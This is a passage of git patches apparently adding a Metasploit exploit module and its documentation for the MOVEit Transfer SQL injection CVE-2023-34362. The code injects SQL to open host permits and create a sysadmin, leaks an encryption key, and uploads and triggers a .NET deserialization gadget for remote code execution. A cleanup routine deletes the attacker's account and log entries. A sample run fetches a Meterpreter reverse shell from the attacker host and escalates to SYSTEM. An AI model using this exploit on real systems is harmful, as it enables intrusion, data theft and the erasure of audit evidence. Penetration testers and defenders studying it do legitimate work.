--git a/modules/exploits/windows/http/moveit_cve_2023_34362.rb b/modules/exploits/windows/http/moveit_cve_2023_34362.rb index 23a91e67082c..2f7448fc34b9 100644 --- a/modules/exploits/windows/http/moveit_cve_2023_34362.rb +++ b/modules/exploits/windows/http/moveit_cve_2023_34362.rb @@ -472,31 +472,33 @@ def execute_command(cmd, _opts = {}) def exploit # Get the sessionID and siLockLongTermInstID - vprint_status('Calling populate_token_instid') + print_status('[1/10] Get the sessionID and siLockLongTermInstID') populate_token_instid # Allow Remote Access and Create new sysAd - vprint_status('Creating Sysadmin') + print_status('[2/10] Create New Sysadmin') create_sysadmin - vprint_status('Getting request_api_token') + print_status('[3/10] Get API Token') token_json = request_api_token - vprint_status('Getting folder_id') + print_status('[4/10] Get Folder ID') folders_json = find_folder_id(token_json) - vprint_status('Starting file upload') + print_status('[5/10] Begin File Upload') files_json = begin_file_upload(folders_json, token_json) - vprint_status('Leaking encryption key') + print_status('[6/10] Leak Encryption Key') org_key = leak_encryption_key(token_json, files_json) # gadget = "AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAugU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIG5vdGVwYWQuZXhlIiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=" + print_status('[7/10] Generate Gadget') gadget = ::Msf::Util::DotNetDeserialization.generate( payload.encoded, gadget_chain: :TextFormattingRunProperties, formatter: :BinaryFormatter ) - vprint_status(gadget) + print_status('[8/10] Encrypt Gadget') b64_gadget = Rex::Text.encode_base64(gadget) - vprint_status('Encrypting b64 gadget') encrypted_gadget = encrypt_deserialization_gadget(b64_gadget, org_key) + print_status('[9/10] Upload Encrypted Gadget') upload_encrypted_gadget(encrypted_gadget, files_json) # vprint_status("uploading fileid #{files_json["fileId']} to folderid #{folders_json['items'][0]['id']}") + print_status('[10/10] Trigger Gadget') trigger_deserialization(token_json, files_json, folders_json) end end From 9d16b0043b3a230d83b37dba38921c88f9da923b Mon Sep 17 00:00:00 2001 From: bwatters Date: Wed, 21 Jun 2023 11:26:04 -0500 Subject: [PATCH 05/12] Add check method --- .../windows/http/moveit_cve_2023_34362.rb | 34 +++++++++++++++++-- 1 file changed, 31 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/http/moveit_cve_2023_34362.rb b/modules/exploits/windows/http/moveit_cve_2023_34362.rb index 2f7448fc34b9..4d853240138c 100644 --- a/modules/exploits/windows/http/moveit_cve_2023_34362.rb +++ b/modules/exploits/windows/http/moveit_cve_2023_34362.rb @@ -29,6 +29,7 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Author' => [ 'sfewer-r7', # PoC https://github.com/sfewer-r7/CVE-2023-34362 + 'sfewer-r7', # research 'bwatters-r7' # module ], 'References' => [ @@ -36,12 +37,11 @@ def initialize(info = {}) ['URL', 'https://github.com/sfewer-r7/CVE-2023-34362'] ], 'Platform' => 'win', - 'Arch' => [ARCH_X64, ARCH_CMD], + 'Arch' => [ARCH_CMD], 'Targets' => [ [ - 'Windows Fetch', + 'Windows Command', { - 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp', 'RPORT' => 443, @@ -77,6 +77,34 @@ def initialize(info = {}) @uploadfile_data = Rex::Text.rand_text_alphanumeric(@uploadfile_size) end + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('moveitisapi/moveitisapi.dll?action=capa'), + 'connection' => 'close', + 'accept' => '*/*' + }) + version = nil + if res && res.code == 200 && res.headers.key?('X-MOVEitISAPI-Version') + version = Rex::Version.new(res.headers['X-MOVEitISAPI-Version']) + # 2020.1.x AKA 12.1.x + return Exploit::CheckCode::Appears if version >= Rex::Version.new('12.1.0') && version < Rex::Version.new('12.1.10') + # 2021.0.x AKA 13.0.x + return Exploit::CheckCode::Appears if version >= Rex::Version.new('13.0.0') && version < Rex::Version.new('13.0.8') + # 2021.1.x AKA 13.1.x + return Exploit::CheckCode::Appears if version >= Rex::Version.new('13.1.0') && version < Rex::Version.new('13.1.6') + # 2022.0.x AKA 14.0.x + return Exploit::CheckCode::Appears if version >= Rex::Version.new('14.0.0') && version < Rex::Version.new('14.0.6') + # 2022.1.x AKA 14.1.x + return Exploit::CheckCode::Appears if version >= Rex::Version.new('14.1.0') && version < Rex::Version.new('14.1.7') + # 2023.0.x AKA 15.0.x + return Exploit::CheckCode::Appears if version >= Rex::Version.new('15.0.0') && version < Rex::Version.new('15.0.3') + else + return Exploit::CheckCode::Safe + end + return Exploit::CheckCode::Unknown + end + def populate_token_instid begin res = send_request_cgi({ From 10c6e6328f05acf88e50f393da9acaedb835d498 Mon Sep 17 00:00:00 2001 From: bwatters Date: Wed, 21 Jun 2023 12:00:34 -0500 Subject: [PATCH 06/12] Add user cleanup and update error handling --- .../windows/http/moveit_cve_2023_34362.rb | 88 +++++++------------ 1 file changed, 33 insertions(+), 55 deletions(-) diff --git a/modules/exploits/windows/http/moveit_cve_2023_34362.rb b/modules/exploits/windows/http/moveit_cve_2023_34362.rb index 4d853240138c..093eb1a642c4 100644 --- a/modules/exploits/windows/http/moveit_cve_2023_34362.rb +++ b/modules/exploits/windows/http/moveit_cve_2023_34362.rb @@ -16,8 +16,6 @@ class MetasploitModule < Msf::Exploit::Remote prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient - HEADERS = %w[X-siLock-AgentBrand X-siLock-AgentVersion X-siLock-CanAcceptCompress X-siLock-CanAcceptLumps X-siLock-CanCheckHash X-siLock-Challenge X-siLock-CheckVirus X-siLock-ClientType X-siLock-CS2-Allow204 X-siLock-CS2-AVDLP X-siLock-CS2-BlockOnError X-siLock-CS2-ChunkSizeKB X-siLock-CS2-ConnTimeoutSecs X-siLock-CS2-DoPreview X-siLock-CS2-Engine X-siLock-CS2-Error X-siLock-CS2-ISTag X-siLock-CS2-MaxFileSize X-siLock-CS2-Name X-siLock-CS2-RecvTimeoutSecs X-siLock-CS2-SendTimeoutSecs X-siLock-CS2-Tries X-siLock-CS2-Type X-siLock-CS2-URL X-siLock-CS-Allow204 X-siLock-CS-AVDLP X-siLock-CS-BlockOnError X-siLock-CS-ChunkSizeKB X-siLock-CS-ConnTimeoutSecs X-siLock-CS-DoPreview X-siLock-CS-Engine X-siLock-CS-Error X-siLock-CS-ISTag X-siLock-CS-MaxFileSize X-siLock-CS-Name X-siLock-CS-RecvTimeoutSecs X-siLock-CSRFToken X-siLock-CS-SendTimeoutSecs X-siLock-CS-Tries X-siLock-CS-URL X-siLock-DLPChecked X-siLock-DLPViolation X-siLock-DownloadToken X-siLock-Duration X-siLock-ErrorCode X-siLock-ErrorDescription X-siLock-FileID X-siLock-FileIDToDelete X-siLock-FilePath X-siLock-FileSize X-siLock-FolderID X-siLock-FolderPath X-siLock-FolderType X-siLock-Hash X-siLock-HashOK X-siLock-InstID X-siLock-IntegrityVerified X-siLock-IPAddress X-siLock-LangCode X-siLock-LoginName X-siLock-LogRecID X-siLock-MailboxOwner X-siLock-NotificationID X-siLock-OriginalFilename X-siLock-PackageID X-siLock-PartialFileID X-siLock-PartialFilePath X-siLock-Password X-siLock-RealName X-siLock-RelativePath X-siLock-ResumeInPlace X-siLock-SessionID X-siLock-SessVar X-siLock-TimeBegun X-siLock-TimeElapsed X-siLock-TimeEnded X-siLock-Transaction X-siLock-Untrusted X-siLock-UploadComment X-siLock-UserFilename X-siLock-Username X-siLock-VirusChecked X-siLock-XferFormat].freeze - def initialize(info = {}) super( update_info( @@ -29,7 +27,7 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Author' => [ 'sfewer-r7', # PoC https://github.com/sfewer-r7/CVE-2023-34362 - 'sfewer-r7', # research + 'rbowes-r7', # research 'bwatters-r7' # module ], 'References' => [ @@ -114,7 +112,6 @@ def populate_token_instid }) @cookies = res.get_cookies - vprint_status("Cookies: #{@cookies}") # Get the session id from the cookies if @cookies =~ /ASP.NET_SessionId=([a-z0-9]+);/ @moveit_token = ::Regexp.last_match(1) @@ -164,7 +161,6 @@ def set_session(token, session_hash) session_vars = {} session_index = 0 session_hash.each_pair do |k, v| - vprint_status("Setting #{k} => #{v}") session_vars.store("X-siLock-SessVar#{session_index}", "#{k}: #{v}") session_index += 1 end @@ -175,14 +171,11 @@ def get_csrf_token(res) if res.to_s.split(/\n/).join =~ /.*csrftoken" value="([a-f0-9]*)"/ return ::Regexp.last_match(1) else - vprint_status("CSRF Token = #{r}") fail_with(Msf::Exploit::Failure::Unknown, 'No csrf token, or my code is bad') end end - def guestaccess_request(cookies, body) - vprint_status('guestaccess_request') - vprint_status(cookies.to_s) + def guestaccess_request(_cookies, body) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri('guestaccess.aspx'), @@ -195,7 +188,6 @@ def guestaccess_request(cookies, body) end def sqli(cookies, sql_payload) - vprint_status('sqli') # Set up a fake package in the session. The order here is important. We set these session # variables one per request, so first set the package information, then switch over to a # 'Guest' username to allow the CSRF/injection to work as expected. If we don't do this @@ -216,13 +208,10 @@ def sqli(cookies, sql_payload) # Arg06 => the package access code (must match what's set above) # Arg12 => promptaccesscode requests a form, which contains a CSRF code - vprint_status('Getting CSRF token from guestaccess.aspx...') body = { 'Transaction' => 'dummy', 'Arg06' => 'accesscode', 'Arg12' => 'promptaccesscode' } csrf = get_csrf_token(guestaccess_request(cookies, body)) - vprint_status("CSRF token = #{csrf}") # This does the actual injection - vprint_status('Triggering the payload via guestaccess.aspx...') body = { 'Arg06' => 'accesscode', 'transaction' => 'secmsgpost', @@ -236,9 +225,8 @@ def sqli(cookies, sql_payload) end def makev1password(password, salt = 'AAAA') - raise 'password cannot be empty' if password.empty? - - raise 'salt must be 4 bytes' if salt.length != 4 + fail_with(Msf::Exploit::Failure::BadConfig, 'password cannot be empty') if password.empty? + fail_with(Msf::Exploit::Failure::BadConfig, 'salt must be 4 bytes') if salt.length != 4 # These two hardcoded values are found in MOVEit.DMZ.Core.Cryptography.Providers.SecretProvider.GetSecret pwpre = Base64.decode64('=VT2jkEH3vAs=') @@ -259,7 +247,6 @@ def makev1password(password, salt = 'AAAA') end def request_api_token - vprint_status('request_api_token') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri('/api/v1/token'), @@ -276,9 +263,7 @@ def request_api_token if res.code != 200 fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API token (#{res.body})") end - token_json = JSON.parse(res.body) - vprint_status("Got API access token='#{token_json['access_token']}'.") token_json end @@ -296,33 +281,22 @@ def find_folder_id(token_json) if folders_response.code != 200 fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API folders (#{folders_response.body})") end - folders_json = JSON.parse(folders_response.body) - vprint_status("Found folderId '#{folders_json['items'][0]['id']}'.") - folders_json end def create_sysadmin - vprint_status('create_sysadmin') hax_username = datastore['USERNAME'] hax_password = datastore['PASSWORD'] hax_loginname = datastore['LOGIN_NAME'] createuser_payload = [ - "UPDATE moveittransfer.hostpermits SET Host='*.*.*.*' WHERE Host!='*.*.*.*'", - "INSERT INTO moveittransfer.users (Username) VALUES ('#{hax_username}')", - "UPDATE moveittransfer.users SET LoginName='#{hax_loginname}' WHERE Username='#{hax_username}'", - "UPDATE moveittransfer.users SET InstID='#{@moveit_instid}' WHERE Username='#{hax_username}'", - "UPDATE moveittransfer.users SET Password='#{makev1password(hax_password, Rex::Text.rand_text_alphanumeric(4))}' WHERE Username='#{hax_username}'", - "UPDATE moveittransfer.users SET Permission='40' WHERE Username='#{hax_username}'", - "UPDATE moveittransfer.users SET CreateStamp=NOW() WHERE Username='#{hax_username}'", ] res = sqli(@cookies, sqli_payload(createuser_payload)) @@ -357,9 +331,7 @@ def begin_file_upload(folders_json, token_json) end files_json = JSON.parse(res.body) - vprint_status("Initiated resumable file upload for fileId '#{files_json['fileId']}'...") - files_json end @@ -384,18 +356,14 @@ def leak_encryption_key(token_json, files_json) if leak_response.code != 200 fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #LEAK (#{leak_response.body})") end - leak_json = JSON.parse(leak_response.body) - org_key = leak_json['uploadAgentBrand'] - vprint_status("Leaked the Org Key: #{org_key}") - org_key end def moveitv2encrypt(data, org_key, iv = nil, tag = '@%!') - raise 'org_key must be 16 bytyes' if org_key.length != 16 + fail_with(Msf::Exploit::Failure::BadConfig, 'org_key must be 16 bytyes') if org_key.length != 16 if iv.nil? iv = Rex::Text.rand_text_alphanumeric(4) @@ -442,7 +410,6 @@ def encrypt_deserialization_gadget(gadget, org_key) org_key.gsub!(' ', '') org_key = [org_key].pack('H*').bytes.to_a.pack('C*') deserialization_gadget = moveitv2encrypt(gadget, org_key) - vprint_status(deserialization_gadget) deserialization_gadget end @@ -455,7 +422,6 @@ def upload_encrypted_gadget(encrypted_gadget, files_json) end def trigger_deserialization(token_json, files_json, folders_json) - print_status('Triggering gadget deserialization...') files_response = send_request_cgi({ 'method' => 'PUT', 'uri' => normalize_uri("/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable&fileId=#{files_json['fileId']}"), @@ -473,12 +439,8 @@ def trigger_deserialization(token_json, files_json, folders_json) # 500 if payload runs :) if files_response.code != 500 - raise "Couldn't post API files #2 code=#{files_response.code} (#{files_response.body})" + fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #2 code=#{files_response.code} (#{files_response.body})") end - - vprint_status('Gadget deserialized, RCE Achieved!') - - vprint_status(files_response.body) end def execute_command(cmd, _opts = {}) @@ -491,42 +453,58 @@ def execute_command(cmd, _opts = {}) vprint_status(payload.encoded) vprint_status(gadget) b64_gadget = Rex::Text.encode_base64(gadget) - vprint_status('Encrypting b64 gadget') encrypted_gadget = encrypt_deserialization_gadget(b64_gadget, org_key) upload_encrypted_gadget(encrypted_gadget, files_json) vprint_status("uploading fileid #{files_json['fileId']} to folderid #{folders_json['items'][0]['id']}") trigger_deserialization(token_json, files_json, folders_json) end + def cleanup_user(files_json) + hax_username = datastore['USERNAME'] + hax_loginname = datastore['LOGIN_NAME'] + deleteuser_payload = [ + "DELETE FROM moveittransfer.fileuploadinfo WHERE FileID='#{files_json['fileId']}'", # delete the deserialization payload + "DELETE FROM moveittransfer.files WHERE UploadUsername='#{hax_username}'", # delete the file we uploaded + "DELETE FROM moveittransfer.activesessions WHERE Username='#{hax_username}'", # + "DELETE FROM moveittransfer.users WHERE Username='#{hax_username}'", # delete the user account we created + "DELETE FROM moveittransfer.log WHERE Username='#{hax_username}'", # The web ASP stuff logs by username + "DELETE FROM moveittransfer.log WHERE Username='#{hax_loginname}'", # The API logs by loginname + "DELETE FROM moveittransfer.log WHERE Username='Guest:#{@guest_email_addr}'", # The SQLi generates a guest log entry. + ] + sqli(@cookies, sqli_payload(deleteuser_payload)) + end + def exploit # Get the sessionID and siLockLongTermInstID - print_status('[1/10] Get the sessionID and siLockLongTermInstID') + print_status('[0/10] Get the sessionID and siLockLongTermInstID') populate_token_instid # Allow Remote Access and Create new sysAd - print_status('[2/10] Create New Sysadmin') + print_status('[1/10] Create New Sysadmin') create_sysadmin - print_status('[3/10] Get API Token') + print_status('[2/10] Get API Token') token_json = request_api_token - print_status('[4/10] Get Folder ID') + print_status('[3/10] Get Folder ID') folders_json = find_folder_id(token_json) - print_status('[5/10] Begin File Upload') + print_status('[4/10] Begin File Upload') files_json = begin_file_upload(folders_json, token_json) - print_status('[6/10] Leak Encryption Key') + print_status('[5/10] Leak Encryption Key') org_key = leak_encryption_key(token_json, files_json) # gadget = "AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAugU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIG5vdGVwYWQuZXhlIiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=" - print_status('[7/10] Generate Gadget') + print_status('[6/10] Generate Gadget') gadget = ::Msf::Util::DotNetDeserialization.generate( payload.encoded, gadget_chain: :TextFormattingRunProperties, formatter: :BinaryFormatter ) - print_status('[8/10] Encrypt Gadget') + print_status('[7/10] Encrypt Gadget') b64_gadget = Rex::Text.encode_base64(gadget) encrypted_gadget = encrypt_deserialization_gadget(b64_gadget, org_key) - print_status('[9/10] Upload Encrypted Gadget') + print_status('[8/10] Upload Encrypted Gadget') upload_encrypted_gadget(encrypted_gadget, files_json) # vprint_status("uploading fileid #{files_json["fileId']} to folderid #{folders_json['items'][0]['id']}") - print_status('[10/10] Trigger Gadget') + print_status('[9/10] Trigger Gadget') trigger_deserialization(token_json, files_json, folders_json) + print_status('[10/10] Cleaning Up') + cleanup_user(files_json) end end From 52907ac794e56e81278de70c4d45eb987e0b0a48 Mon Sep 17 00:00:00 2001 From: bwatters Date: Wed, 21 Jun 2023 12:56:59 -0500 Subject: [PATCH 07/12] Add space limitation --- modules/exploits/windows/http/moveit_cve_2023_34362.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/exploits/windows/http/moveit_cve_2023_34362.rb b/modules/exploits/windows/http/moveit_cve_2023_34362.rb index 093eb1a642c4..b01cce00fe29 100644 --- a/modules/exploits/windows/http/moveit_cve_2023_34362.rb +++ b/modules/exploits/windows/http/moveit_cve_2023_34362.rb @@ -36,6 +36,9 @@ def initialize(info = {}) ], 'Platform' => 'win', 'Arch' => [ARCH_CMD], + 'Payload' => { + 'Space' => 345 + }, 'Targets' => [ [ 'Windows Command', @@ -491,6 +494,7 @@ def exploit org_key = leak_encryption_key(token_json, files_json) # gadget = "AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAugU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIG5vdGVwYWQuZXhlIiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=" print_status('[6/10] Generate Gadget') + print_status("Payload Length = #{payload.encoded.length}") gadget = ::Msf::Util::DotNetDeserialization.generate( payload.encoded, gadget_chain: :TextFormattingRunProperties, From 2adea08f672a9db55f8ab9173997f6b2926c5e9c Mon Sep 17 00:00:00 2001 From: bwatters Date: Wed, 21 Jun 2023 15:41:50 -0500 Subject: [PATCH 08/12] Add documentation & code cleanup --- .../windows/http/moveit_cve_2023_34362.md | 127 +++++ .../windows/http/moveit_cve_2023_34362.rb | 461 +++++++++--------- 2 files changed, 346 insertions(+), 242 deletions(-) create mode 100644 documentation/modules/exploit/windows/http/moveit_cve_2023_34362.md diff --git a/documentation/modules/exploit/windows/http/moveit_cve_2023_34362.md b/documentation/modules/exploit/windows/http/moveit_cve_2023_34362.md new file mode 100644 index 000000000000..3d6bbfa7854a --- /dev/null +++ b/documentation/modules/exploit/windows/http/moveit_cve_2023_34362.md @@ -0,0 +1,127 @@ +## Description +This module exploits an SQL injection vulnerability in the MOVEit Transfer web application +that allows an unauthenticated attacker to gain access to MOVEit Transfer’s database. +Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an +attacker can leverage an information leak be able to upload a .NET deserialization payload. + +## Vulnerable Applications +MOVEit Transfer versions: + +| Starting Version | Patched Version | +------------------|-----------------| +| 2023.0.0 |2023.0.3 (15.0.3)| +| 2022.1.x | 2022.1.7 (14.1.7)| +| 2022.0.x | 2022.0.6 (14.0.6)| +| 2021.1.x | 2021.1.6 (13.1.6)| +| 2021.0.x | 2021.0.8 (13.0.8) | +|2020.1.x | 2020.1.10 (12.1.10) | + +# Installation Instructions +1. Installation requires a valid trial license that can be obtained by going here: +https://www.ipswitch.com/forms/free-trials/moveit-transfer +2. Ensure that your computer has intenet access for the license to activate and double-click the installer. +3. Follow installation instructions for an evaluation installation. +4. After the installation completes, follow the instructions to create an admin user. + +## Options +**LOGIN_NAME** (Required) Will be used as the login name for the system administrator created by the exploit. The default is random. + +**PASSWORD** (Required) Will be used as the password name for the system administrator created by the exploit. The default is random. + +**USERNAME** (Required) Will be used as the user name for the system administrator created by the exploit. The default is random. + +## Verification Steps +* Do: `msfconsole` +* Do: `use exploit/windows/http/moveit_cve_2023_34362` +* Do: `set rhost ` +* Do: `set lhost ` +* Do: `set fetch_srvhost ` +* Do: `set lhost ` +* Do: `run` +* Do: **Verify** you get a session + +## Scenarios +### Using MOVEit 15.0.0.3 on Windows Server 2022 21H2 +```msf +msf6 exploit(windows/http/moveit_cve_2023_34362) > show options + +Module options (exploit/windows/http/moveit_cve_2023_34362): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LOGIN_NAME CGN3c8hSeaE yes Login Name + PASSWORD pnislnpdAWX yes Password + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 10.5.134.242 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-me + tasploit.html + RPORT 443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + TARGET_URI /api/v1/token no Target URI + USERNAME wtxRmr5vw yes Username + VHOST no HTTP server virtual host + + +Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME lebHSskcwh no Name to use on remote system when storing payload; cannot contain spaces. + FETCH_SRVHOST 10.5.135.201 yes Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces. + LHOST 10.5.135.201 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Windows Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(windows/http/moveit_cve_2023_34362) > run + +[*] Started reverse TCP handler on 10.5.135.201:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. +[*] [0/10] Get the sessionID and siLockLongTermInstID +[*] [1/10] Create New Sysadmin +[*] [2/10] Get API Token +[*] [3/10] Get Folder ID +[*] [4/10] Begin File Upload +[*] [5/10] Leak Encryption Key +[*] [6/10] Generate Gadget +[*] [7/10] Encrypt Gadget +[*] [8/10] Upload Encrypted Gadget +[*] [9/10] Trigger Gadget +[*] [10/10] Cleaning Up +[*] Sending stage (200774 bytes) to 10.5.134.242 +[*] Meterpreter session 1 opened (10.5.135.201:4444 -> 10.5.134.242:51176) at 2023-06-21 15:35:47 -0500 + +meterpreter > sysinfo +Computer : WIN-ED9OLD6JEO6 +OS : Windows 2016+ (10.0 Build 20348). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 12 +Meterpreter : x64/windows +meterpreter > getuid +Server username: WIN-ED9OLD6JEO6\moveitsvc +meterpreter > getsystem +...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > + + + +``` diff --git a/modules/exploits/windows/http/moveit_cve_2023_34362.rb b/modules/exploits/windows/http/moveit_cve_2023_34362.rb index b01cce00fe29..8b97ccf7a004 100644 --- a/modules/exploits/windows/http/moveit_cve_2023_34362.rb +++ b/modules/exploits/windows/http/moveit_cve_2023_34362.rb @@ -3,13 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -## -# 